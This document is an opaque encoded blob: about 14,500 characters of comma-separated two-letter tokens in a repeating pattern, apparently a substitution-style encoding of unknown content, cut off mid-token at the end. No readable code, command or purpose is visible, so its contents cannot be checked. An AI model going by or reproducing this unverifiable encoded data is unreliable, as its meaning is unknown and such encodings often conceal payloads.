,RV,xv,NW,kX,ff,RV,xv,NW,kX,ff,RV,xv,FT,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,QB,FT,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,NW,ff,RV,FT,Fi,it,ff,RV,FT,QB,xv,ff,RV,xv,zN,QB,ff,RV,xv,zN,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,yN,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,Fi,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,FT,Fi,it,ff,RV,FT,Fi,it,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,NW,NW,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,zN,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,NW,Mb,ff,RV,xv,zN,kX,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,zN,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,NW,it,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,NW,FT,ff,RV,xv,NW,Mb,ff,RV,xv,zN,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,kX,ff,RV,xv,kX,kX,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,kX,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,NW,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,QB,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,kX,ff,RV,FT,Fi,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,kX,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,FT,Fi,it,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,kX,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,xv,NW,FT,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,FT,ff,RV,FT,Fi,QB,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,kX,kX,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,kX,kX,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,zN,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,zN,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,zN,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,zN,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,zN,kX,ff,RV,FT,Fi,it,ff,RV,FT,Fi,it,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,yN,ff,RV,xv,NW,NW,ff,RV,FT,Fi,it,ff,RV,xv,NW,it,ff,RV,FT,Fi,it,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,FT,Fi,yN,ff,RV,xv,NW,NW,ff,RV,FT,Fi,yN,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,QB,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,QB,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,NW,ff,RV,xv,kX,kX,ff,RV,FT,Fi,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,NW,xv,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,NW,FT,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,NW,NW,ff,RV,FT,Fi,it,ff,RV,xv,NW,it,ff,RV,xv,NW,Mb,ff,RV,xv,NW,NW,ff,RV,FT,Fi,yN,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,NW,xv,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,NW,xv,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,yN,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,xv,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,xv,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,zN,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,FT,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,xv,NW,Mb,ff,RV,xv,NW,xv,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,it,ff,RV,xv,NW,Mb,ff,RV,xv,NW,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,xv,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,xv,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,xv,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,zN,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,FT,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,xv,zN,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,xv,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,NW,it,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,xv,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,NW,NW,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,k